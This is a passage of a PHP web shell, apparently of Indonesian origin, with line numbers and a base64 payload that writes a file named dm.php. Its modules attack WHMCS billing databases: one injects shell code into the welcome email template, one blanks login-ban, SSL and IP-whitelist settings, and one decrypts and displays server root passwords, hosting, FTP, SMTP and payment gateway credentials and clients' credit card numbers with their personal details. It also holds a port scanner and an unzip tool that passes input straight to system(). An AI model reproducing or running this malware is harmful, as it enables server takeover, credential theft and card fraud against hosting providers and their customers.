OQ21WamFHOGdKenhtYjI1MElHTnZiRzl5UFNKc2FXMWxJajViSzEwZ1ZYQnNiMkZrSUZOMWEzTmxjeUE2ZGlBOFluSXZQaUJiSzEwZ0p5NGtYMUJQVTFSYkozVndiRzloWkhSdkoxMHVJaThpTGlSZlJrbE1SVk5iSjJacGJHVW5YVnNuYm1GdFpTZGRPdzBLZlNCbGJITmxJSHNOQ21WamFHOGdKMXQrWFNCVmNHeHZZV1FnUm1GcGJHVmtJRlJmVkNCYmZsMDhMMlp2Ym5RK1BHSnlQaWM3RFFwOUlIME5DajgrRFFvPScpOw0KDQokZm9wZW4gPSBmb3BlbiAoJ2RtLnBocCcsJ3cnKTsNCiR3cml0ZSAgPSBmd3JpdGUoJGZvcGVuICwgJGMwZGUpOw=='));{/php}</textarea>
4301</td></tr>
4302<tr><td align="center" colspan="2"><input class=submit type="submit" style="color:#FF0000;background-color:#000000" value=" HAJAR BOS " name="plapon"></td></tr>
4303</table>
4304<br>
4305</form>
4306</center>
4307<?php
4308if(isset($_POST['plapon'])) {
4309$anu1 = $_POST['anu1'];
4310$anu2 = $_POST['anu2'];
4311$anu3 = $_POST['anu3'];
4312$anu4 = $_POST['anu4'];
4313@mysql_connect($anu1,$anu2,$anu3);
4314@mysql_select_db($anu4);
4315$shell=str_replace("'","'",$shell);
4316$gosok_shell = $_POST['shell'];
4317$colok = "UPDATE tblemailtemplates SET message ='".$gosok_shell."' WHERE subject ='Welcome'";
4318$udah_ganteng=@mysql_query($colok);if($udah_ganteng)
4319{
4320echo "<font color='lime'>SUKSES BOS GANTENG :P</font>";
4321}
4322}
4323}
4324
4325
4326# x=dmwhmcs4
4327elseif(isset($_GET['x']) && ($_GET['x'] == 'dmwhmcs4')) {
4328?>
4329<form action="?dm=<?php echo $pwd; ?>&x=dmwhmcs4" method="post">
4330<p><br/><body>
4331<center><img src="http://ben90.com/wp-content/uploads/2009/07/whmcs-logo.gif"> <br/><br/><nobr><b><span class="b7">O=:[ BYPASS </span> <span class="b8">TOKEN ]:=O</span></b></nobr><br/><br/>
4332<p><form method="post">
4333<table border=1>
4334<tr><td>db_host </td><td><input type="text" style="color:#FF0000;background-color:#000000" size="60" name="anu1" value="localhost"></td></tr>
4335<tr><td>db_username </td><td><input type="text" style="color:#FF0000;background-color:#000000" size="60" name="anu2"></td></tr>
4336<tr><td>db_password</td><td><input type="text" style="color:#FF0000;background-color:#000000" size="60" name="anu3"></td></tr>
4337<tr><td>db_name</td><td><input type="text" style="color:#FF0000;background-color:#000000" size="60" name="anu4"></td></tr>
4338<tr><td align="center" colspan="2"><input class=submit type="submit" style="color:#FF0000;background-color:#000000" value=" HAJAR BOS " name="plapon"></td></tr>
4339</table>
4340<br>
4341</FORM>
4342</center>
4343<?php
4344if(isset($_POST['plapon'])) {
4345
4346$anu1 = $_POST['anu1'];
4347$anu2 = $_POST['anu2'];
4348$anu3 = $_POST['anu3'];
4349$anu4 = $_POST['anu4'];
4350@mysql_connect($anu1,$anu2,$anu3);
4351@mysql_select_db($anu4);
4352
4353$crot1 = "UPDATE tblconfiguration SET value='' WHERE setting='InvalidLoginBanLength'";
4354$crot2 = "UPDATE tblconfiguration SET value='' WHERE setting='AdminForceSSL'";
4355$crot3 = "UPDATE tblconfiguration SET value='' WHERE setting='RequiredPWStrength'";
4356$crot4 = "UPDATE tblconfiguration SET value='' WHERE setting='MaintenanceMode'";
4357$crot5 = "UPDATE tblconfiguration SET value='' WHERE setting='APIAllowedIPs'";
4358$crot6 = "UPDATE tblconfiguration SET value='' WHERE setting='LoginFailures'";
4359$crot7 = "UPDATE tblconfiguration SET value='' WHERE setting='InstanceID'";
4360$crot8 = "UPDATE tblconfiguration SET value='' WHERE setting='WhitelistedIPs'";
4361$crot9 = "UPDATE tblconfiguration SET value='' WHERE setting='ToggleInfoPopup'";$crot10 = "UPDATE tblconfiguration SET value='' WHERE setting='token_namespaces'";
4362
4363$udah_ganteng=@mysql_query($crot1);
4364$udah_ganteng=@mysql_query($crot2);
4365$udah_ganteng=@mysql_query($crot3);
4366$udah_ganteng=@mysql_query($crot4);
4367$udah_ganteng=@mysql_query($crot5);
4368$udah_ganteng=@mysql_query($crot6);
4369$udah_ganteng=@mysql_query($crot7);
4370$udah_ganteng=@mysql_query($crot8);
4371$udah_ganteng=@mysql_query($crot9);
4372$udah_ganteng=@mysql_query($crot10);
4373
4374if($udah_ganteng)
4375{
4376echo "<font color='lime'>SUKSES BOS GANTENG :P</font>";
4377}
4378}
4379}
4380
4381
4382# x=whmcs1
4383elseif(isset($_GET['x']) && ($_GET['x'] == 'whmcs1')) {
4384?>
4385<form action="?dm=<?php echo $pwd; ?>&x=whmcs1" method="post">
4386
4387<p><br/><body>
4388<center><img src="http://ben90.com/wp-content/uploads/2009/07/whmcs-logo.gif"> <br/><br/><nobr><b><span class="b7">O=:[ WHMCS</span> <span class="b8">DECODER ]:=O</span></b></nobr><br/><br/>
4389<p><form method="post">
4390<table border=1>
4391<tr><td>db_host </td><td><input type="text" style="color:#FF0000;background-color:#000000" size="60" name="anu1" value="localhost"></td></tr>
4392<tr><td>db_username </td><td><input type="text" style="color:#FF0000;background-color:#000000" size="60" name="anu2"></td></tr>
4393<tr><td>db_password</td><td><input type="text" style="color:#FF0000;background-color:#000000" size="60" name="anu3"></td></tr>
4394<tr><td>db_name</td><td><input type="text" style="color:#FF0000;background-color:#000000" size="60" name="anu4"></td></tr>
4395<tr><td>cc_encryption_hash</td><td><input style="color:#FF0000;background-color:#000000" type="text" size="60" name="anu5"></td></tr>
4396<tr><td align="center" colspan="2"><input class=submit type="submit" style="color:#FF0000;background-color:#000000" value=" HAJAR BOS " name="plapon"></td></tr>
4397
4398</table>
4399<br></form></center>
4400
4401<?php
4402$perawan = $_POST['anu1'];
4403$kimcil = $_POST['anu2'];
4404$janda = $_POST['anu3'];
4405$hotel = $_POST['anu4'];
4406$kondom = $_POST['anu5'];
4407
4408@mysql_connect($perawan,$kimcil,$janda);
4409@mysql_select_db($hotel);
4410$cc_encryption_hash = $kondom;
4411
4412function dec($string,$cc_encryption_hash){
4413$key = md5(md5($cc_encryption_hash)) . md5($cc_encryption_hash);
4414$hash_key = _hash($key);
4415
4416$hash_length = strlen($hash_key);
4417$string = base64_decode($string);
4418$tmp_iv = substr($string,0,$hash_length);
4419$string = substr($string,$hash_length,strlen ($string) - $hash_length);
4420$iv = $out = '';
4421$c = 0;
4422while ($c < $hash_length){
4423$iv .= chr(ord($tmp_iv[$c]) ^ ord($hash_key[$c]));
4424++$c;
4425}
4426
4427$key = $iv;
4428$c = 0;
4429while ($c < strlen($string)){
4430if (($c != 0 AND $c % $hash_length == 0)){
4431
4432$key = _hash($key . substr($out,$c - $hash_length,$hash_length));
4433}
4434$out .= chr(ord($key[$c % $hash_length]) ^ ord ($string[$c]));
4435 ++$c;
4436}
4437 return $out;
4438}
4439function _hash($string)
4440{
4441$hash = (function_exists('sha1')) ? sha1($string):md5($string);
4442$out = '';
4443$c = 0;
4444
4445while ($c < strlen($hash)){
4446$out .= chr(hexdec($hash[$c] .$hash[$c + 1]));
4447$c += 2;
4448}
4449return $out;
4450}
4451
4452######## GO TO HELL ########
4453##### :D ########### :D #####
4454
4455if(isset($_POST['plapon'])) {
4456$query = mysql_query("SELECT *FROM tblservers");
4457echo "<br/><br/><center><table class='explore' style=width:830px;padding:0 1px;>
4458<tr><th colspan='7'> <span class='b7'>O=:[ HOST ROOT ]:=O</span> </th></tr>
4459
4460<tr>
4461<th align='center'><b>TYPE</b></th>
4462<th align='center'><b>ACTIVE</b></th>
4463<th align='center'><b>HOSTNAME</b></th>
4464<th align='center'><b>IP ADDRESS</b></th>
4465<th align='center'><b>USERNAME</b></th>
4466<th align='center'><b>PASSWORD</b></th>
4467<th align='center'><b>ACCESS HASH</b></th></tr>";
4468if(!is_array(mysql_fetch_array($query))){
4469echo "<tr><td colspan='8' align='center'>Nothing Found !</td></tr>";
4470}
4471while($v = mysql_fetch_array($query)) {
4472echo "<tr>
4473<td align='center'>{$v['type']}</td>
4474<td align='center'>{$v['active']}</td>
4475<td align='center'>{$v['hostname']}</td>
4476<td align='center'>{$v['ipaddress']}</td>
4477<td align='center'>{$v['username']}</td>
4478<td align='center'>".dec($v['password'],$cc_encryption_hash)."</td>
4479<td align='center'>{$v['accesshash']}</td>
4480</tr>";
4481}
4482echo "</table>";
4483
4484
4485$query = mysql_query("SELECT * FROM tblhosting where username = 'root' or username = 'vmuserxx' or username = 'vmuser' or username = 'admin' or username = 'Admin' or username = 'administrator' or username = 'Administrator' order by domainstatus");
4486echo "<br/><br/><center><table class='explore' style=width:830px;padding:0 1px;>
4487<tr><th colspan='6'><span class='b7'>O=:[ CLIENTS ROOT ]:=O</span> </th></tr>
4488
4489<tr>
4490<th align='center'><b> DOMAIN</b></th>
4491<th align='center'><b> STATUS</b></th>
4492<th align='center'><b> USERNAME</b></th>
4493<th align='center'><b> PASSWORD</b></th>
4494<th align='center'><b> DEDICATED IP</b></th>
4495<th align='center'><b> ASSIGNED IP</b></th></tr>";
4496
4497if(!is_array(mysql_fetch_array($query))){
4498echo "<tr><td colspan='6' align='center'>Nothing Found ! :(</td></tr>";
4499}
4500while($v = mysql_fetch_array($query)){
4501echo "<tr>
4502<td align='center'> {$v['domain']}</td>
4503<td align='center'> {$v['domainstatus']}</td>
4504<td align='center'> {$v['username']}</td>
4505<td align='center'> ".dec($v['password'],$cc_encryption_hash)."</td>
4506<td align='center'> {$v['dedicatedip']}</td>
4507<td align='center'> {$v['assignedips']}</td></tr>";
4508}
4509echo "</table>";
4510
4511$query = mysql_query("SELECT *FROM tblregistrars");
4512echo "<br/><br/><center><table class='explore' style=width:830px;padding:0 1px;>
4513<tr><th colspan='3'><nobr><span class='b7'>O=:[ DOMAIN REGISTRAR ]:=O</span></nobr></th></tr>
4514<tr>
4515<th align='center'><b>REGISTRAR</b></th>
4516<th align='center'><b>SETTING</b></th>
4517<th align='center'><b>VALUE</b></th></tr>";
4518if(!is_array(mysql_fetch_array($query))){
4519echo "<tr><td colspan='3' align='center'>Nothing Found !</td></tr>";
4520}
4521while($v = mysql_fetch_array($query)){
4522$value = (!dec($v['value'],$cc_encryption_hash)) ? "0":dec($v['value'],$cc_encryption_hash);
4523echo "<tr>
4524<td align='center'>{$v['registrar']}</td>
4525<td align='center'>{$v['setting']}</td>
4526<td align='center'>$value</td></tr>" ;
4527}
4528echo "</table>";
4529
4530$query = mysql_query("SELECT * FROM tblconfiguration where 1");
4531echo "<br/><br/><center><table class='explore' style=width:830px;padding:0 1px;>
4532<tr><th colspan='4'> <span class='b7'>O=:[ FTP BACKUP ]:=O</span> </th></tr>
4533
4534<tr>
4535<th align='center'><b>FTP HOSTNAME</b></th>
4536<th align='center'><b>FTP USERNAME</b></th>
4537<th align='center'><b>FTP PASSWORD</b></th>
4538<th align='center'><b>DESTINATION</b></th></tr>";
4539$ftpb = array('FTPBackupHostname',
4540'FTPBackupUsername',
4541'FTPBackupPassword',
4542'FTPBackupDestination');
4543if(!is_array(mysql_fetch_array($query))){
4544echo "<tr><td colspan='4' align='center'>Nothing Found ! :(</td></tr>";
4545}
4546while($row = mysql_fetch_array($query)){
4547if($row[setting] == $ftpb[0]){
4548echo "<tr><td>{$row[value]}</td>";
4549$ftpb[0] = xxx;
4550}
4551elseif($row[setting] == $ftpb[1]){
4552echo "<td>{$row[value]}</td>";
4553$ftpb[1] = xxx;
4554}
4555elseif($row[setting] == $ftpb[2]){
4556echo "<td>{$row[value]}</td>";
4557$ftpb[2] = xxx;
4558}
4559elseif($row[setting] == $ftpb[3]){
4560echo "<td>{$row[value]}</td>";
4561$ftpb[3] = xxx;
4562}
4563}
4564echo "</table>";
4565
4566$query = mysql_query("SELECT * FROM tblconfiguration where 1");
4567echo "<br/><br/><center><table class='explore' style=width:830px;padding:0 1px;>
4568<tr><th colspan='4'><span class='b7'>O=:[ SMTP SERVER ]:=O</span> </th></tr>
4569<tr>
4570<th align='center'><b>SMTP HOST</b></th>
4571<th align='center'><b>SMTP USER</b></th>
4572<th align='center'><b>SMTP PASS</b></th>
4573<th align='center'><b>SMTP PORT</b></th></tr>";
4574
4575$smtp = array('SMTPHost',
4576'SMTPUsername',
4577'SMTPPassword',
4578'SMTPPort');
4579if(!is_array(mysql_fetch_array($query))){
4580echo "<tr><td colspan='4' align='center'>Nothing Found ! :(</td></tr>";
4581}
4582while($row = mysql_fetch_array($query)){
4583if($row[setting] == $smtp[0]){
4584echo "<tr><td>{$row[value]}</td>";
4585$smtp[0] = xxx;
4586}
4587elseif($row[setting] == $smtp[1]){
4588echo "<td>{$row[value]}</td>";
4589$smtp[1] = xxx;
4590}
4591elseif($row[setting] == $smtp[2]){
4592echo "<td>{$row[value]}</td>";
4593$smtp[2] = xxx;
4594}
4595elseif($row[setting] == $smtp[3]){
4596echo "<td>{$row[value]}</td>";
4597$smtp[3] = xxx;
4598}
4599}
4600echo "</table>";
4601
4602
4603$query = mysql_query("SELECT *FROM tblpaymentgateways");
4604echo "<br/><br/><center><table class='explore' style=width:830px;padding:0 1px;>
4605<tr><th colspan='4'><nobr><span class='b7'>O=:[ PAYMENTS GATEWAY ]:=O</span></nobr></th></tr>
4606
4607<tr>
4608<th align='center'><b>GATEWAY</b></th>
4609<th align='center'><b>SETTING</b></th>
4610<th align='center'><b>VALUE</b></th>
4611<th align='center'><b>ORDER</b></th></tr>";
4612if(!is_array(mysql_fetch_array($query))){
4613echo "<tr><td colspan='4' align='center'>Nothing Found !</td></tr>";
4614}
4615while($v = mysql_fetch_array($query)){
4616echo "<tr>
4617<td align='center'>{$v['gateway']}</td>
4618<td align='center'>{$v['setting']}</td>
4619<td align='center'>{$v['value']}</td>
4620<td align='center'>{$v['order']}</td> </tr>" ;
4621}
4622echo "</table>";
4623
4624$query = mysql_query("SELECT id FROM tblclients WHERE issuenumber != '' ORDER BY id DESC");
4625 echo "<br/><br/><center><table class='explore' style=width:830px;padding:0 1px;>
4626<tr><th colspan='10'><nobr><span class='b7'>O=:[ CLIENTS CREDIT CARD ]:=O</span></nobr></th></tr>
4627<tr>
4628<th align='center'><b>CardType</b></th>
4629<th align='center'><b>CardNumb</b></th>
4630<th align='center'><b>Expdate</b></th>
4631<th align='center'><b>IssueNumber</b></th>
4632<th align='center'><b>FirstName</b></th>
4633<th align='center'><b>LastName</b></th>
4634<th align='center'><b>Address</b></th>
4635<th align='center'><b>Country</b></th>
4636<th align='center'><b>Phone</b></th>
4637<th align='center'><b>Email</b></th>
4638</tr>";
4639if(!is_array(mysql_fetch_array($query))){
4640echo "<tr><td colspan='10' align='center'>Nothing Found ! :(</td></tr>";
4641}
4642while($v = mysql_fetch_array($query)) {
4643$cchash = md5($cc_encryption_hash.$v['0']);
4644$s = mysql_query("SELECT firstname,lastname,address1,country,phonenumber,cardtype,email,AES_DECRYPT(cardnum,'" . $cchash . "') as cardnum,AES_DECRYPT(expdate,'" . $cchash . "') as expdate,AES_DECRYPT(issuenumber,'" . $cchash . "') as issuenumber FROM tblclients WHERE id='".$v['0']."'");
4645$v2=mysql_fetch_array($s);
4646
4647echo "<tr>
4648<td align='center'>".$v2['cardtype']."</td>
4649<td align='center'>".$v2['cardnum']."</td>
4650<td align='center'>".$v2['expdate']."</td>
4651<td align='center'>".$v2['issuenumber']."</td>
4652<td align='center'>".$v2['firstname']."</td>
4653<td align='center'>".$v2['lastname']."</td>
4654<td align='center'>".$v2['address1']."</td>
4655<td align='center'>".$v2['country']."</td>
4656<td align='center'>".$v2['phonenumber']."</td>
4657<td align='center'>".$v2['email']."</td></tr>";
4658}
4659echo "</table>";
4660
4661$query = mysql_query("SELECT *FROM tblhosting");
4662echo "<br/><br/><center>
4663<table class='explore' style=width:830px;padding:0 1px;>
4664<tr><th colspan='6'><nobr><span class='b7'>O=:[ CLIENTS HOSTING ACCOUNT ]:=O</span></nobr></th></tr>
4665<tr>
4666<th align='center'><b>DOMAIN</b></th>
4667<th align='center'><b>STATUS</b></th>
4668<th align='center'><b>USERNAME</b></th>
4669<th align='center'><b>PASSWORD</b></th>
4670<th align='center'><b>DEDICATED IP</b></th>
4671<th align='center'><b>ASSIGNED IP</b></th></tr>";
4672if(!is_array(mysql_fetch_array($query))){
4673echo "<tr><td colspan='6' align='center'>Nothing Found !</td></tr>";
4674}
4675while($v = mysql_fetch_array($query)){
4676echo "<tr>
4677<td align='center'>{$v['domain']}</td>
4678<td align='center'>{$v['domainstatus']}</td>
4679<td align='center'>{$v['username']}</td>
4680<td align='center'>".dec($v['password'],$cc_encryption_hash)."</td>
4681<td align='center'>{$v['dedicatedip']}</td>
4682<td align='center'>{$v['assignedips']}</td></tr>";
4683}
4684echo "</table>";
4685}
4686}
4687
4688
4689 # x=psan
4690elseif(isset($_GET['x']) && ($_GET['x'] == 'pscan')){ ?>
4691<form action="?dm=<?php echo $pwd; ?>&x=pscan" method="post">
4692
4693<?php
4694echo '<center><br/><br/><nobr><b><span class="b7">O=:[ PORT</span> <span class="b8">SCANNER ]:=O</span></b></nobr><br/><br/>';
4695
4696$start = strip_tags($_POST['start']);
4697$end = strip_tags($_POST['end']);
4698$host = strip_tags($_POST['host']);
4699
4700if(isset($_POST['host']) && is_numeric($_POST['end']) && is_numeric($_POST['start'])){
4701
4702for($i = $start; $i<=$end; $i++){
4703$fp = @fsockopen($host, $i, $errno, $errstr, 3);
4704if($fp){
4705
4706echo "Port <font style='color:#DE3E3E'>$i</font> is <font style='color:#64CF40'>open</font><br>";
4707}
4708flush();
4709}
4710} else {
4711echo '<input type="hidden" name="y" value="phptools">
4712
4713Host <br/>
4714<input type="text" class="inputz" name="host" value="localhost"/><br />
4715Port Start<br />
4716<input type="text" class="inputz" name="start" value="0"/><br />
4717Port End:<br />
4718<input type="text" class="inputz" name="end" value="5000"/><br />
4719<input type="submit" class="inputzbut" value="Scan Ports" />
4720</form></center>';
4721}
4722}
4723
4724// ********** x=string ********** //
4725elseif(isset($_GET['x']) && ($_GET['x'] == 'string')){ ?>
4726<form action="?dm=<?php echo $pwd; ?>&x=string" method="post">
4727
4728<br><br><form method='post'>
4729<table class="tabnet"><tbody>
4730<tr><th colspan="2"> String to Hash </th></tr>
4731<tr><td>String : </td>
4732<td><input type='text' class='inputz' name='hash_input' value='<? if(isset($_POST['hash_input'])){echo $_POST['hash_input'];}?>' /></td></tr>
4733<tr>
4734<td align="center" colspan="2"><input type='submit' name='submit_hash' style="width:100%;" class='inputzbut' value='Encode' /></td>
4735</tr>
4736</tbody>
4737</table>
4738</form>
4739<br><br>
4740
4741<?php
4742if(isset($_POST['submit_hash'])) {
4743if(isset($_POST['hash_input'])) {
4744$hash_input = $_POST['hash_input'];
4745}
4746
4747if($hash_input=="") {
4748echo 'Nothing Inserted!';
4749} else {
4750if (isset($hash_input)) {
4751echo "<table class='tabnet'><tbody>
4752<tr><th colspan='2'> Hash </th></tr>";
4753
4754foreach (hash_algos() as $hash_setoption) { $calculate_hash = hash($hash_setoption, $hash_input, false);
4755
4756echo "<tr><td width='70' align='center'><font style='color:#9F7CEB'>$hash_setoption</font></td><td><font style='color:#5BC740'>$calculate_hash</font></td></tr>";
4757}
4758echo "</tbody></table>";
4759}
4760}
4761}
4762}
4763
4764# x=cc
4765elseif(isset($_GET['x']) && ($_GET['x'] == 'cc')){ ?>
4766<form action="?dm=<?php echo $pwd; ?>&x=cc" method="post">
4767
4768<?php
4769class CreditCardValidator {
4770private $arrCardInfo = array('status' => null, 'type' => null, 'substring' => null, 'reason' => null);
4771
4772private $arrCardTypes = array('amex' => array('name' => 'American Express','active' => true, 'iinrange' => '34,37','length' => 15), 'discover' => array('name' => 'Discover','active' => true,'iinrange' => '6011,622126-622925,644-649,65','length' => 16), 'mastercard' => array('name' => 'MasterCard','active' => true,'iinrange' => '51-55','length' => 16), 'visa' => array('name' => 'VISA','active' => true,'iinrange' => '4','length' => 16));
4773
4774private $arrAcceptedMII = array(3, 4, 5, 6);
4775public function Validate($strCardNumber=null, $strCardType=null) {
4776
4777if($strCardNumber === null) {
4778$this->arrCardInfo['failure'] = 'format';
4779$this->arrCardInfo['status'] = 'invalid';
4780return false;
4781}
4782
4783if(($strCardType !== null) && !in_array($strCardType, $this->arrCardTypes)) {
4784$this->arrCardInfo['failure'] = 'cardtype';
4785$this->arrCardInfo['status'] = 'invalid';
4786return false;
4787}
4788if(!$this->CheckMII($strCardNumber)) {
4789$this->arrCardInfo['failure'] = 'mii';
4790$this->arrCardInfo['status'] = 'invalid';
4791return false;
4792}
4793if(!$this->CheckIIN($strCardNumber)) {
4794$this->arrCardInfo['failure'] = 'iin';
4795$this->arrCardInfo['status'] = 'invalid';
4796return false;
4797}
4798if(!$this->CheckLuhn($strCardNumber)) {
4799$this->arrCardInfo['failure'] = 'algorithm';
4800$this->arrCardInfo['status'] = 'invalid';
4801return false;
4802}
4803$this->arrCardInfo['status'] = 'valid';
4804$this->arrCardInfo['substring'] = $this->GetCardSubstring($strCardNumber);
4805return true;
4806}
4807private function CleanCardNumber($strCardNumber=null) {
4808return preg_replace('/[^0-9]/', '', $strCardNumber);
4809}
4810
4811private function GetCardSubstring($strCardNumber=null) {
4812if(strstr($strCardNumber, '*') && (substr($strCardNumber) < 10)) return $strCardNumber;
4813$strCardNumber = $this->CleanCardNumber($strCardNumber);
4814return $strCardNumber ? '***'.substr($strCardNumber, (strlen($strCardNumber) - 4), 4) : '';
4815}
4816
4817private function CheckMII($strCardNumber=null) {
4818$strCardNumber = $this->CleanCardNumber($strCardNumber);
4819if(!$strCardNumber) return false;
4820
4821$intFirstDigit = (int) substr($strCardNumber, 0, 1);
4822if(!in_array($intFirstDigit, $this->arrAcceptedMII)) return false;
4823return true;
4824}
4825
4826private function CheckLuhn($strCardNumber=null) {
4827$strCardNumber = (string) $this->CleanCardNumber($strCardNumber);
4828$strCheckDigit = substr($strCardNumber, (strlen($strCardNumber) - 1), 1);
4829$strCardNumberReverse = strrev($strCardNumber);
4830$intTotal = 0;
4831for($i = 1; $i <= strlen($strCardNumberReverse); $i++) {
4832$intVal = (int) ($i % 2) ? $strCardNumberReverse[$i-1] : ($strCardNumberReverse[$i-1] * 2);
4833if($intVal > 9) {
4834$strVal = (string) $intVal;
4835$intVal = (int) ($strVal[0] + $strVal[1]);
4836}
4837$intTotal += $intVal;
4838}
4839return (($intTotal % 10) == 0) ? true : false;
4840}
4841
4842private function CheckIIN($strCardNumber=null) {
4843$strCardNumber = $this->CleanCardNumber($strCardNumber);
4844if(!$strCardNumber) return false;
4845$arrCardTypePossibilities = array();
4846foreach($this->arrCardTypes as $strShortName => $arrCardType) {
4847if($arrCardType['active'] === true) {
4848$strLen = strlen($strCardNumber);
4849if($strLen == $arrCardType['length']) {
4850
4851$arrRangeSets = explode(',', $arrCardType['iinrange']);
4852foreach($arrRangeSets as $strRangeSetItem) {
4853$arrStrRanges = explode('-', $strRangeSetItem);
4854if(count($arrStrRanges) > 1) {
4855for($i = $arrStrRanges[0]; $i <= $arrStrRanges[1]; $i++) {
4856
4857if((strpos((string) $strCardNumber, (string) $i) === 0) && !in_array($strShortName, $arrCardTypePossibilities)) $arrCardTypePossibilities[] = $strShortName;
4858}
4859} else {
4860if((strpos((string) $strCardNumber, (string) trim($arrStrRanges[0])) === 0) && !in_array($strShortName, $arrCardTypePossibilities)) $arrCardTypePossibilities[] = $strShortName;
4861}
4862}
4863}
4864}
4865}
4866$this->arrCardInfo['type'] = implode('|', $arrCardTypePossibilities);
4867return count($arrCardTypePossibilities) ? true : false;
4868}
4869
4870public function GetCardInfo() {
4871return $this->arrCardInfo;
4872}
4873
4874public function GetCardName($strCardShortName=null) {
4875return isset($this->arrCardTypes[$strCardShortName]['name']) ? $this->arrCardTypes[$strCardShortName]['name'] : '';
4876}
4877}
4878$CCV = new CreditCardValidator();
4879
4880if(isset($_POST['cardnum'])) :
4881$CCV->Validate($_POST['cardnum']);
4882$CARDINFO = $CCV->GetCardInfo();
4883endif;
4884?>
4885
4886<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd">
4887<html lang="en"><head>
4888<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
4889<title>Credit Card Validation - Test Page</title><style type="text/css">
4890body{ font-size: 13px; color: #333; font-family: 'georgia', 'times new roman', serif; margin: 20px; }
4891
4892fieldset{ border: 0; margin: 0; font-style: italic; }
4893
4894legend{ display: none; }
4895
4896label{ width: 100%; float: left; clear: both; font-size: 15px; font-weight: bold; color: #999; line-height: 3; }
4897
4898input, textarea{ font-size: 18px; line-height: 1.4; padding: 10px; border: 2px solid #eee; }
4899
4900textarea{ background-color: #eee; color: blue; }
4901
4902h2{ font-size: 30px; }
4903
4904#fs-input input{ width: 500px; margin-bottom: 15px; }
4905#fs-input input.cb{ width: auto; }
4906#fs-submit input{ background-color: #333; color: lightyellow; }
4907</style>
4908</head>
4909
4910<body><h2>Credit Card Tester</h2>
4911<form action="" method="post">
4912<fieldset id="fs-input"><legend></legend>
4913<label>Card Number</label>
4914<input type="text" style="color:#FF0000;background-color:#000000" name="cardnum" value="<?php echo @$_POST['cardnum']; ?>"><br>
4915<input type="checkbox" name="showgeek" class="cb" value="1"<?php if(isset($_POST['showgeek'])) echo ' checked'; ?>> Show Geeky Output
4916</fieldset>
4917<fieldset id="fs-submit">
4918<legend></legend>
4919<label></label>
4920<input type="submit" value="Check CC">
4921</fieldset>
4922<?php if(isset($_POST['cardnum'])) : ?>
4923<hr>
4924
4925<h2>Result</h2><fieldset id="fs-result">
4926<legend></legend><label></label>
4927<strong>Status:</strong> <?php echo strtoupper($CARDINFO['status']); ?><br>
4928<strong>Card Type: </strong> <?php echo $CCV->GetCardName($CARDINFO['type']); ?>
4929</fieldset>
4930<?php endif; ?>
4931<?php if(isset($_POST['showgeek'])) : ?>
4932<fieldset id="fs-geek-result">
4933<legend></legend>
4934<label>Geeky Result</label>
4935<textarea style="color:#FF0000;background-color:#000000" rows="40" cols="80"><?php print_r($CCV); ?></textarea>
4936</fieldset>
4937<?php endif; ?>
4938</form></body></html>
4939
4940<?php }
4941# x=unzip
4942elseif(isset($_GET['x']) && ($_GET['x'] == 'unzip')){
4943?>
4944<form action="?dm=<?php echo $pwd; ?>&x=unzip" method="post">
4945<center><br/><br/><nobr><span class="b7">O=:[ ZIP FILE</span> <span class="b8">EXTRACTOR ]:=O</nobr><br/><br/>
4946<?php
4947$file = $_POST['file'];
4948if (isset($file)){
4949echo "<nobr><b>[+] PROSES BONGKAR [+]</b><br><br></nobr>";
4950system('unzip -o ' . $file);
4951echo "<br/>";
4952exit;
4953}
4954
4955$handler = opendir(".");
4956echo "<center><b>Pilih File Yg Mau Di Unzip :<b><br> " . "<br>";
4957echo '<form action="" method="get">';
4958$found = false;
4959while ($file = readdir($handler)) {
4960if (preg_match ("/.zip$/i", $file)) {
4961echo '<input type="radio" name="file" value=' . $file . '> ' . $file . '<br>';
4962$found = true;
4963}
4964}
4965closedir($handler);
4966if ($found == false)
4967echo "<br><br><b>[+] GA ADA FILE EXTENSI ZIP [+]<b><br>";
4968else
4969echo '<br><br><inpuy type="submit" value="Unzip File">';
4970echo "</form>";
4971?>
4972
4973<?php }
4974# x=analyzer
4975elseif(isset($_GET['x']) && ($_GET['x'] == 'analyzer')){
4976?>
4977<form action="?dm=<?php echo $pwd; ?>&x=analyzer" method="post">
4978
4979<center><br/><br/><nobr><span class="b7">O=:[ HASH TYPE</span> <span class="b8">ANALYZER ]:=O</nobr><br/><br/> <form method=POST>
4980<input type="text" style="color:#FF0000;background-color:#000000" name="hashToAnalyze" size=60><input type="submit" style="color:#FF0000;background-color:#000000" value="Check Hash Now" name="analyzieNow"></form></center>
4981<?php
4982if($_POST['analyzieNow']){
4983$hash = $_POST['hashToAnalyze'];
4984$subHash = substr($hash,0,3);
4985if($subHash =='$ap' && strlen($hash) == 37){
4986echo "The Hash : ".$hash." is : MD5(APR) Hash";
4987}
4988else if($subHash =='$1$' && strlen($hash) == 34){
4989echo "The Hash : ".$hash." is : MD5(UNIX) Hash";
4990}
4991else if($subHash =='$H$' && strlen($hash) == 35){
4992echo "The Hash : ".$hash." is : MD5(phpBB3) Hash";
4993}
4994else if(strlen($hash) == 29){
4995echo "The Hash : ".$hash." is : MD5(Wordpress) Hash";
4996}
4997else if($subHash =='$5$' && strlen($hash) == 64){
4998echo "The Hash : ".$hash." is : SHA256(UNIX) Hash";
4999}
5000else if($subHash =='$6$' && strlen($hash) == 128){
5001echo "The Hash : ".$hash." is : SHA512(UNIX) Hash";
5002}
5003else if(strlen($hash) == 56){
5004echo "The Hash : ".$hash." is : SHA224 Hash";
5005}
5006else if(strlen($hash) == 64){
5007echo "The Hash : ".$hash." is : SHA256 Hash";
5008}
5009else if(strlen($hash) == 96){
5010echo "The Hash : ".$hash." is : SHA384 Hash";
5011}
5012else if(strlen($hash) == 128){
5013echo "The Hash : ".$hash." is : SHA512 Hash";
5014}
5015else if(strlen($hash) == 40){
5016echo "The Hash : ".$hash." is : MySQL v5.x Hash";
5017}
5018else if(strlen($hash) == 16){
5019echo "The Hash : ".$hash." is : MySQL Hash";
5020}
5021else if(strlen($hash) == 13){
5022echo "The Hash : ".$hash." is : DES(Unix) Hash";
5023}
5024else if(strlen($hash) == 32){
5025echo "The Hash : ".$hash." is : MD5 Hash";
5026}
5027else if(strlen($hash) == 4){
5028echo "The Hash : ".$hash." is : [CRC-16]-[CRC-16-CCITT]-[FCS-16]";}
5029else {
5030echo "Error : Can't Detect Hash Type";
5031}
5032}
5033?>
5034
5035
5036<?php }
5037# x=skype
5038elseif(isset($_GET['x']) && ($_GET['x'] == 'skype')){
5039?>
